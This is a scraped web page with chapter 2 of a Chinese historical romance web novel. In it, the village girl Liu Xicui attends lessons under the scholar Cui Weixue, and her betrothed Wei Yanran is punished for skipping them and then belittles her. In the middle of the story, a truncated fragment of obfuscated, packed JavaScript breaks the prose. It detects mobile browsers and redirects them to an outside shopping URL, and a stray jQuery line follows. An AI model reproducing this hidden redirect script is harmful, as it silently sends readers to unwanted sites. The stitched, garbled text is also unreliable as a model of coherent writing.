默认冷灰
24号文字
方正启体

2. 第二章

作者:醉星月本书字数:K更新时间:
    热水早已烧好,水面上飘着玫瑰花花瓣,浴盆四周放着各色浴盐。


    柳惜翠不习惯这么讲究的沐浴,只用皂子擦拭身体。


    阻隔的纱帘被秋月掀开,她手持着软毛刷走近:“奴来帮您。”


    柳惜翠吃惊地潜入水中,溅起几抹浪花。她急切地喊道:“你退出去!”


    露在水面的脸泛上薄红。


    秋月宽解道:“娘子莫怕,奴是想伺候您,世家大族的贵女哪有自己动手的?日后您总得习惯这么生活。”


    这话柳惜翠听着刺耳,她强硬说道:“日后的事,日后再说。”


    秋月这才离去。


    尽管秋月已不在屋内,柳惜翠仍能察觉出一道观察的视线,她没了沐浴的兴致,草草撩水洗了把脸便急忙出浴。


    窸窸窣窣一阵,柳惜翠才穿好繁复的衣裳,撩帘出来。


    广袖轻轻滑落,露出纤细的手腕,素白色襦裙裹住她窈窕的身姿,勾勒出少女的娇俏、柔美。


    秋月替她挽上双垂髻,再簪上白色绢花,镜中的少女仿佛脱胎换骨,已是世家贵女高不可攀的模样了。


    “娘子日后有的是大福气。”秋月情不自禁地说道。


    这么美的少女竟出自山野之间,实在令人难以置信。


    柳惜翠撇开了眼,不愿与铜镜中的女郎对视。


    婢女捧着她换下来脏衣殷切询问:“柳娘子,换下来的衣裳怎么处理?”


    秋月下意识道:“扔了便是,娘子再用不上了。”


    “收着。”柳惜翠笃定地打断秋月,认真地看向那婢女:“多谢。”


    婢女下意识看向秋月,随后惴惴点头:“是。”


    婢女走后,秋月有些不满道:“留着那衣裳做什么?您如今的身份,不可能再穿那样的衣服。”


    柳惜翠没回答这个问题,她温声道:“我有些饿了,有什么能吃的吗?没有的话就算了。”


    秋月的注意力被转移,她想了想道:“已经过了饭点,恐怕厨房只剩下些清淡的菜点,这顿饭柳娘子便先将就一下。”


    没一会,婢女就端来了凉拌秋葵、白灼菜心、拌牛肉和一道香菇汤。


    饿过了劲头,胃里只剩下痉挛的痛,反倒没什么食欲。柳惜翠不想浪费,仍旧多吃了几口。


    吃饱饭才有力气面对明天。


    *


    学堂的事安排好了。


    此处男学、女学分开授课。


    走进屋里,少女们正围在一处聊天,笑笑嚷嚷,好不欢快。


    柳惜翠没有惊扰她们,自顾自坐下。


    这节课要讲《史记》,她便随手翻看权当预习。


    “你就是那个要嫁给卫晏燃的娘子吧?”


    不知从哪冒出一个圆脸杏眼的少女,好奇地打量她。


    屋舍内说笑的声音变小了许多,四周投来隐秘的视线。


    柳惜翠谨慎之下选择了沉默。


    那少女扑哧一笑:“看来是了。那你可得小心王仙宁了,他俩可是青梅竹马。”


    说完,她也不期待柳惜翠的回答,捏着叶子牌笑嘻嘻地招呼少女们:“快趁这会多玩会。”


    柳惜翠攥紧书页,暗道棘手。


    好在今日那位王娘子没来。


    堂役鸣金—


    “今日来的是崔郎君,快些藏好。”姚婉心压着气息重复两句。


    众人化作鸟兽,飞速地收好叶子牌、双陆棋。


    柳惜翠看得大为震惊,一片迷茫中,只见身着青袍,乌发玉面的年轻郎君缓缓走入。


    卫晏燃性格恶劣,却生了张顶好的脸。比起他,这位崔郎君不差分毫。


    他生了双墨色的眼珠,像上好的冷玉,又若寒冷的深潭,荡着宁静的冷峻。


    这人和柳惜翠想象中银发苍苍的老者大相径庭。


    崔未雪执书道:“你们的先生今日有事,拜托我来替你们解惑。他讲到了哪里?”


    一个女郎轻声道:“陈胜吴广起义。”


    崔未雪颔首:“好。”


    他一开口,便令人领会到他深厚的才学,《史记》记载并不晦涩,但很少有人能做到引经据典的同时又引人入胜,到最后还不忘循循善诱,令她们思考。


    柳惜翠听得入神,便更为珍惜上学堂的机会。


    她小时候也曾经在学堂旁听过,可惜那先生讲课干巴无聊,后来她也没再去。


    崔未雪面上温和,心底却极其不耐烦。


    拜托他授课的是关系尚佳的前辈,崔未雪不能推辞。他却嫌恶这帮少年们的愚钝。


    他并非第一次替她们授课。


    无论是世家子弟、还是贵女们,永远昏昏欲睡,两眼迷蒙。


    今天却有了变化,多了张陌生的脸。


    她几乎求知若渴地盯着自己,那双褐色的瞳仁清凌凌闪动,宛若清晨凝露。


    崔未雪很少见到这种目光,他略一思索,便知道她是卫家接回来的乡间女子。


    授课结束,柳惜翠意尤未尽。


    周围的人仿佛劫后余生,他们看到柳惜翠认真的模样,有些不屑。


    只有姚婉心惊叹道:“你真用功!”


    柳惜翠小心翼翼地说了句:“这位先生讲得很好。”


    “能不好吗?”姚婉心笑着拍拍她:“那可是崔未雪啊!”


    崔未雪是当朝最年轻的状元,无数读书人趋之若鹜的目标,他的《扶正策》鞭辟入里,至今都流传在各处。


    柳惜翠惊讶地抱着书,出了门,便见卫夫人站在廊下,正和崔未雪聊天。


    见到她,卫夫人唤道:“惜翠,来这里。”


    “在学堂感觉如何?听不听的懂?”卫夫人笑挽住跑来的柳惜翠:“喘喘气,跑得这么急。”


    柳惜翠平息胸脯,方道:“听得懂,先生讲得很好。”


    “有崔郎君在,料想我也不用操心。”卫夫人捂唇笑了两声,向柳惜翠介绍崔未雪:“这位是晏燃的表兄,你也称他表兄就是。”


    柳惜翠小声唤了句:“表兄好。”


    崔未雪掠过那双温软的眸,缓声说道:“柳娘子勤敏好学。日后若有问题,随时问我。”


    柳惜翠觉得他是难得的好人,一股暖流自心间划过,她恳切地道:“多谢崔郎君。”


    崔未雪淡淡颔首。


    过了一会,却等不到卫晏燃。


    卫夫人狐疑地看向屋里:“晏燃怎么还不出来?他是不是没来?”


    说罢,她冲入屋舍找了一圈,气急反笑:“我是管不了他了,让他爹来吧!”


    *


    卫昭回府,听完妻子哭诉,抄着戒尺便往卫晏燃房里闯。


    踹开门,卫晏燃还躺在床榻上,腰上缠着被子睡得正香。


    听闻响声,迷迷糊糊地斥道:“谁啊,扰小爷清梦,出去领罚。”


    侍从的脸白得像纸。


    卫昭手里的戒尺甩上他后背,口中怒骂道:“你还当上爷了?还不给我起来。”


    剧痛传来,卫晏燃“嗷”了声,抓住外衫套在身上,遮住裸露的胸膛。


    卫父可没有卫夫人的好脾气,卫晏燃软了声:“爹,你难道要打死我不成?也是,你儿子多,少我一个算不得什么。”


    “我宁肯下得了手,今个就打死你。婚事不听劝就算了,学堂也不去!天天就知道练兵,书都背不出几本!这像什么样子!”卫昭气得胸痛,“外面日照杆头,可你还在这睡觉。”


    卫晏燃不满地嘟囔道:“爹,今个是阴天。再说那先生讲的东西我听不懂。您得给我找个好先生。”


    “这已经是今年找得第五个了!”卫昭咬牙切齿,两眼发黑:“我看叫太子太师教你,也没用。柳娘子都能好好坐在学堂里,你、你真是...”


    听到柳惜翠三个字,卫晏燃瞬间冷了:“爹觉得柳惜翠好,干脆认她做女儿,正巧替了我这么个坏儿子,这不比逼我娶她强?再说了,如果真要报恩,给她随便找个好人家就行了,我表兄不还没妻子,干脆扔给他当个通房。”


    话音一落,卫昭戒尺又抽了下来,“卫晏燃我告诉你,这件事由不得你。你娶也得娶,不娶也得娶,你现在就滚去领罚。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388121|200297||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >几道军棍打完,伺候卫晏燃的圣丰看得心疼,“这下卫大人是真生了气,您说您何苦呢?这伤得疼好几天。”


    “这件事因何而起?还不是那柳惜翠!”卫晏燃“嘶”了声,目光冷冽:“爹娘不是让我和柳娘子多相处吗?把她给我叫来!”


    没过一会,圣丰就把人领来了。


    柳惜翠乍一掀开纱帘,被吓得退后一步。


    卫晏燃衣裳穿得乱七八糟,上衫褪在膊弯上,露出结实的麦色胸膛。


    柳惜翠背过身想跑。


    “站住!我让你走了吗?”卫晏燃出声道。


    柳惜翠声音不卑不亢:“郎君仪容不整,我以为你要稍作整理。”


    “讽刺我呢?”卫晏燃哼笑,“我仪容不整是拜谁所赐?你猜我为什么受这军棍?”


    柳惜翠低低道:“我不知道。”


    “过来,给我上药。”卫晏燃靠在竹栏上,懒懒散散瞧她,“不是要嫁给我吗?这点事都不做?”


    柳惜翠觉得不合礼节,便站在原地没动。


    “我不是什么好性子。你不来,我也不让你走。看谁能耗得过谁。”卫晏燃不满她的固执,故而冷笑一声:“你也该认清自己的身份。”


    柳惜翠很不喜欢他说话的态度,她忍了忍:“好,我该怎么做?”


    卫晏燃指了指身旁放着的上药,大咧咧尽褪下衣衫,露出后背发紫的棍伤和密密麻麻的陈年疤痕。


    朝廷抗击匈奴不易,柳惜翠那点气散了大半,她决心不与卫晏燃计较。


    柳惜翠指腹点上药膏擦拭在伤口附近。


    卫晏燃睫毛一颤。果然是乡下来的女人,都不知道用工具,那火辣辣的伤口迸发出无尽痒意,卫晏燃不自在地怒吼道:“你看不见旁边的工具吗?别用你那脏爪子给我上药。”


    柳惜翠“哦”了声,她拿起羽毛刷给他上药。


    比温热手指更难捱的东西出现了。


    卫晏燃不愿意承认和工具没有关系,是她上药太过轻柔了,于是转身怒瞪她。


    俏脸闯进视线。


    卫晏燃暗暗想:她生得实在是不难看。


    桃花眼自带三分情意,婉约缠绵,可放在她身上,就是别样的沉静。


    柳惜翠被吓得后挪几步,这小动作没逃过卫晏燃的眼。


    烦躁自心底蔓延,卫晏燃盯着柳惜翠:“让你上学堂就是为了监视我。是因为你告密,我爹才打了我。”


    柳惜翠认真地看着他:“无论你信不信,我没有告过密。父母之爱子是为其计深远,卫大人此举是为你好。”


    “这话你也配说?”卫晏燃眼神陡然凌厉,冷冷呵斥道:“收起你那些小心思,也别耍无谓的手段,你是走了大运和卫家有了婚约,但这不代表你能飞上枝头变凤凰。”


    柳惜翠平静地说道:“多谢卫郎君指教。”


    说罢,她撩开纱帘转身离去,泪水却不禁潸然落下。


    在卫晏燃看来,没人比柳惜翠更幸运,毕竟他家世显赫,小时候是皇帝伴读,少年时又亲领铁骑抵御匈奴,已有了无上荣耀,却不得不娶一个农女。


    可柳惜翠宁愿什么都不要,只要她的父母还在。


    她伤心地低着头往前走,一时不察,撞到了迎面而来的崔未雪。


    他怀中抱着古琴,因这突如其来的擦身不小心松了手。


    那古琴几乎要摔倒在地。


    柳惜翠飞身冲上去,半跪在地上抱住琴,琴沿不偏不倚砸在她小腿上,疼得她眼尾泛出泪花。


    崔未雪一瞬愕然,他回过神来,忙从她手中接过古琴:“柳娘子有没有伤到?”


    “我没事。这琴没有磕碰吧?怪我没看路。”柳惜翠凑近端详琴身,心脏提得老高。


    崔未雪喜琴,但没到爱琴得地步,一把琴,摔了便摔了。


    他望着眼前急切的少女,温声道:“不妨事。”


    柳惜翠眼眶还红着,眼瞳上蒙着层淡淡水雾,松了口气:“没事就好。”


    不等崔未雪回答,她行了个礼,逃似得跑了。


    崔未雪收回眼。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)